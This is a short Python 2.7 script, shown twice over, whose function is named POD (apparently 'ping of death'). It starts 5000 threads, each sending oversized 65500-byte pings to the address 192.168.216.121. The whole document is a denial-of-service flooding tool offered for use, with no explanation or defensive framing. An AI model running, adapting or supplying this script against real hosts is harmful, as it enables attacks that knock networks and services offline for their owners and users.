python :2.7.x
import subprocess
import thread
import time
def POD(id):
ret = subprocess.call("ping 192.168.216.121 -l 65500", shell=True)
print "%d," % id
for i in range(5000):
thread.start_new_thread(POD,(i,))
time.sleep(0.8)
python :2.7.x
import subprocess
import thread
import time
def POD(id):
ret = subprocess.call("ping 192.168.216.121 -l 65500", shell=True)
print "%d," % id
for i in range(5000):
thread.start_new_thread(POD,(i,))
time.sleep(0.8)